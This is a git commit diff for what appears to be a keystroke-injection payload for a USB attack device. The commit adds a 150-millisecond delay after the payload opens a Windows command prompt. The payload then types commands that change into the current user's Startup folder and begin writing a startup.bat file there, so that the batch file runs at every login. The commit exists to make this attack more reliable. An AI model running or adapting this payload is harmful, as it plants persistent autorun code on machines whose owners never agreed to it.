Adding Delay
You must add a delay after RUN WIN cmd or it won't always write on the cmdpull/349/head
parent
ee48a74dc6
commit
aac697e89a
|
@ -16,6 +16,7 @@ LED ATTACK
|
|||
|
||||
#Running cmd to create file in startup directory
|
||||
RUN WIN cmd
|
||||
Q DELAY 150
|
||||
Q STRING "cd C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
|
||||
Q ENTER
|
||||
Q STRING "echo @echo off > startup.bat"
|
||||
|
@ -27,4 +28,4 @@ Q ENTER
|
|||
Q ALT F4
|
||||
|
||||
#Fast green followed by Solid -> Finished
|
||||
LED FINISH
|
||||
LED FINISH
|
||||
|
|
Loading…
Reference in New Issue